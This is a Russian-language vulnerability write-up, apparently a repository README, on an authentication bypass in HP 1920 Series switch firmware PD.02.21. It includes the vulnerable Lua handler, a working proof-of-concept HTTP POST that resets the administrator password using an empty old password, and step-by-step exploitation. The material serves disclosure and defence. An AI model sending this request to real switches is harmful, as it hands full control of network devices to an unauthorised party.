Уязвимость обхода аутентификации в прошивке коммутаторов HP

CVE-2022-37932

Версия прошивки: PD.02.21
Затронутые устройства: HP 1920 Series Smart Managed Switches

Обзор

В этом репозитории документируется критическая уязвимость обхода аутентификации в коммутаторах HP 1920 Series Smart Managed Switches с версией прошивки PD.02.21. Уязвимость позволяет неаутентифицированному злоумышленнику изменить пароль администратора без предварительной аутентификации, что фактически даёт полный контроль над устройством.

Технические подробности

Уязвимость существует в скрипте /login/default_password_cfg.lua, который обрабатывает изменение пароля по умолчанию для устройства. Этот скрипт:

1. Принимает POST-запросы формы без проверки аутентификации пользователя
2. Проверяет только, соответствует ли параметр oldPwd паролю по умолчанию (который является пустым)
3. Напрямую изменяет пароль пользователя на основе POST-параметров

Уязвимый код

Ключевой уязвимый участок в default_password_cfg.lua:

if (request_method == 'POST') then
  -- No authentication or session checks!
  
  local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
  -- ...

  if form_post.oldPwd ~= defaultPassword then
    errorStatus = "401 Unauthorized"
    errorText = label.old_password_mismatch
  else
    -- Proceeds to change password
    -- ...
  end
end

В скрипте отсутствуют критические средства безопасности:

• Нет проверки сессии
• Нет защиты CSRF
• Нет ограничения скорости запросов
• Прямой доступ к функции смены пароля без аутентификации

Доказательство концепции

Злоумышленник может использовать эту уязвимость с помощью простого HTTP POST-запроса:

POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]

Примечание: параметр oldPwd оставлен пустым, так как пароль по умолчанию пуст.

Воздействие

Эта уязвимость позволяет неаутентифицированному злоумышленнику:

1. Изменить пароль администратора, не зная никаких учётных данных
2. Получить полный административный контроль над устройством
3. Настроить коммутатор, изменить сетевые параметры и потенциально скомпрометировать всю сеть

Путь эксплуатации

1. Найти уязвимый коммутатор HP 1920 Series в сети
2. Отправить специально сформированный HTTP POST-запрос напрямую на устройство
3. Пароль администратора меняется на значение, контролируемое злоумышленником
4. Злоумышленник может войти с новым паролем и полными правами администратора

Благодарности

У меня не было времени исследовать, кто первоначально обнаружил эту уязвимость; я просто публикую доказательство концепции.

Правовое предупреждение

Эта информация предоставлена только в образовательных целях. Автор не несёт ответственности за любое неправомерное использование этой информации. Всегда получайте надлежащее разрешение перед тестированием на уязвимости.